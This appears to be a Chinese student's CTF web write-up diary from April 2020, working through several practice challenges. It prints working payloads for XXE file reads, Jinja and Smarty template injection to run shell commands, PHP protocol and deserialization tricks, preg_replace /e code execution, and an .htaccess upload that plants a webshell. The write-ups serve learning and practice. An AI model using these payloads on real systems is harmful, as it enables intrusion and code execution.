四月份web-1.0
liduoan.efls Engineer

2020.04.01

NCTF-Fake XML cookbook

这道题目是校赛题目,有一说一,我当时没写出来。郁闷。

整理知识点就是XXE 读取文件

payload为:

1
2
3
4
5
6
7
<!DOCTYPE ANY[
<!ENTITY test SYSTEM "file:///flag">
]>
<user>
<username>&test;</username>
<password>123</password>
</user>

xxe-lib的原题 基础XXE吧。

具体知识点看合天培训 ,那里很清楚。 主要就是读取文件赋值返回。

ez_bypass

考点:MD5 弱类型比较

这题目就很容易了

直接看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}

需要绕过MD5 和 数字比较

MD5 如果是==可以使用md5处理后都为0e的样子

但是如果是===就只能利用数组 MD5数组返回NULL 两个NULL相等

is_numeric($passwd)

这个直接使用弱类型比较 passwd=1234567a

2020.04.02

[BJDCTF 2nd]fake google

这道题目 增加知识体系了

首先 我不会做 然后看了WP 说是利用python渲染 ssti

https://xz.aliyun.com/t/3679

然后就去学习了

ssti的详细在 ssti那篇博文上。

说说解题过程吧

首先 name={{7*8}}

image

那么一步步测试

1
2
3
4
5
6
7
{{[].__class__.__bases__}}
{{[].__class__.__bases__[0]}}
{{[]。————class.__bases__[0]..__subclasses__()}}//找到目标类
<class 'os.wrap_close'> 这个类很有用 可以直接直线系统命令
{{[].__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls').read()}}
利用命令了
之后 linux命令插入

参考:https://blog.csdn.net/ChenZIDu/article/details/105159197

[BJDCTF 2nd]old hack

这道题目很像之前写合天训练赛的题目

搜索出现有的 nday

首先一进去

image

thinkphp 中 可以利用 127.0.0.1/index.php/s=xxx来debug

那么我们亦可以利用它来查看版本

查的 think-version 5.0.23,

之后直接查找漏洞就好了。。

我发现大多数flag都在 根目录那里。

image

2020.04.03

[BJDCTF 2nd]假猪套天下第一

这道题目 纯属靠http头

主要考

1、cookie 设置时间 99年 Cookie: PHPSESSID=cibo5j3ug8t8q101utm8ev1mv1;time=999999999

2、之后XXF 伪造IP

3、Referer 浏览器访问的前一个页面

4、User-Agent 系统消息自带

5、From 请求的用户的邮件地址

6、via 由哪个代理发出

最终效果如下 ↓

image

然后可以看到Base64编码

解码即可。

[MRCTF2020]套娃

考察点:函数、换行污染、file_get_contents等于某个字符串、简单的解码脚本、部分_ . 操作转换

一进去 F12查看

image

函数解释:

substr_count(string $haystack , string $needle):

返回子字符串needle在字符串haystack中出现的次数 其中needle区分大小写

preg_match ( string $pattern , string $subject)

返回pattern匹配的次数,它的值为0次或者1次。preg_match在第一次匹配就停止搜索。

这里的QUERY_STRING就是url/?后面所有值

例如:127.0.0.1/index.php?a=3&b=5

它的$_SERVER['QUERY_STRING']=a=3&b=5

Y1ng师傅说 $_SERVER['QUERY_STRING']是不会URL解码

所以一般都是用URL编码来绕过。这里ban了%5f。:

  1. %5F
  2. b.u.p.t(点代替_)
  3. b u p t(空格代替_)

之后换行污染绕过。

payload=?b.u.p.t=23333%0a

得到文件名字 √ :secrettw.php ——>访问

image

首先: 这个伪造IPClient-IP:127.0.0.1 或者使用 X-Forwarded-For:127.0.0.1

POST 一个Merak参数

嗯哼 出现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php  
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die(); //注意这里!如果POST了Merak就会Die
}

//重点在这个加密函数上
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

审查审查

IP检验,file_get_contents()等于某个字符串,一个加密

第一层 IP检测伪造

第二层 file_get_contents()等于特定字符串

这道题目 CGCTF里有过

解决方法:

绕过方式有多种:

  • 使用php://input伪协议绕过
    ① 将要GET的参数?xxx=php://input
    ② 用post方法传入想要file_get_contents()函数返回的值
  • 用data://伪协议绕过
    将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
    或者将url改为:?xxx=data:text/plain,(url编码的内容)

这里采用 data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

第三层写个解码脚本就好了

这个以前攻防世界有道类似的解码题 脚本就不打出来了

最好的payload:?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=&file=ZmpdYSZmXGI=

2020.04.04

今天是清明,为先人祭奠,生者更应奋斗努力。

[ZJCTF 2019]NiZhuanSiWei

这道题目 一进去就看到了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

1、file_get_contents() 利用协议绕过

2、然后。那个file和flag的正则误导我了。。

这里应该用伪协议配合查看useless的源码

我仔细想了想 它那个正则flag可能是不让我直接读取flag的源码。

看看后面利用反序列化 那么应该有类存在 哪来的类?? 只可能是在useless中了

3、补充下文件包含的内容

在我们看到文件包含的时候,可以有读取源码 输入字符串 配合文件上传

image

特别是include( $file ) 就可以直接查看到源码!!!

下面解题步骤

查看useless.php源码

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

可以得到:

1
2
3
4
5
6
7
8
9
10
11
class Flag{  //flag.php  
public $file = 'flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} //反序列化后

很明显 反序列化就可以了

最好payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码 结束。

[BJDCTF2020]ZJCTF,不过如此

这道题目 考点很好,又学到了知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

直接源码 很明显 目的是php伪协议查看next.php的源码

查看得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}
?>

这个是利用preg_replace()函数进行命令执行的

主要的细节在这篇文章:👇

https://xz.aliyun.com/t/2557

说一下怎么解题吧。

next.php?/s*=${eval($_POST[cmd])}

这里因为他好像是把在URL里面的单引号进行转码了。所以不能直接'ls'

最后就是在burp里面进行system('ls /');

这里再说一下 eval() 和 system()函数。

有一说一

今天一共做了十二道题目 ,都是那种入门题。没什么难度。所以就不写payload了。

2020.04.05

[BJDCTF2020]Mark loves cat

首先,进去啥也没看出来

扫一扫,git泄露

image

然后查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}


echo "the flag is: ".$flag;

考点就很清楚了。变量覆盖

我觉得这个很想

1
2
3
$a = 2; $b = 3;
$temp = $a;
$a = $b; $b = $temp;

整理整理思路 大致的payload:/?handsome=flag&flag=handsome

然后就出flag了。主要是保存住flag的值。

[BJDCTF2020]The mystery of ip

这道题目很有意思

首先,我测试出来应该是一个ssti。

image

然后我就试了

1
[].__class__

看看回显。结果报错了

报错显示了 Smarty Compiler。

注意到这里不是python的flask模板渲染。

这里应该是PHP的模板渲染!!

php模板渲染直接 利用

1
{{system('ls /')}}

实际上模板渲染的本质还是用户输入的被认为安全了

那么我们就可以构造命令!

image

2020.04.06

[GXYCTF2019]BabyUpload

又到了不会的上传题了

我最多的都是 00截断 然后改头。

这道题目用.htaccess

这个我一直都知道有这种利用方式。但是我没理会。

下面详细说说。

.htaccess是Apache的一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)

我们这里只关心.htaccess文件的一个作用——MIME类型修改。如在.htaccess文件中写入:

1
2
3
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

就成功地使该.htaccess文件所在目录及其子目录中的后缀为.jpg的文件被Apache当做php文件

而这是为什么呢? 我并不明白原理。按书上说,这是配置文件。以后再说吧。

那么先上传.htaccess文件!

image

然后我们再上传.jpg的脚本。这时,我们可以直接把.jpg以php运行

image

之后蚁剑连接就好了。

然后今天我又遇到一道难题了。。

操!! 太菜啦啊!!!

这道难题的考点在无字母无数字的RCE!。

这个得在新的博客上写! 哼!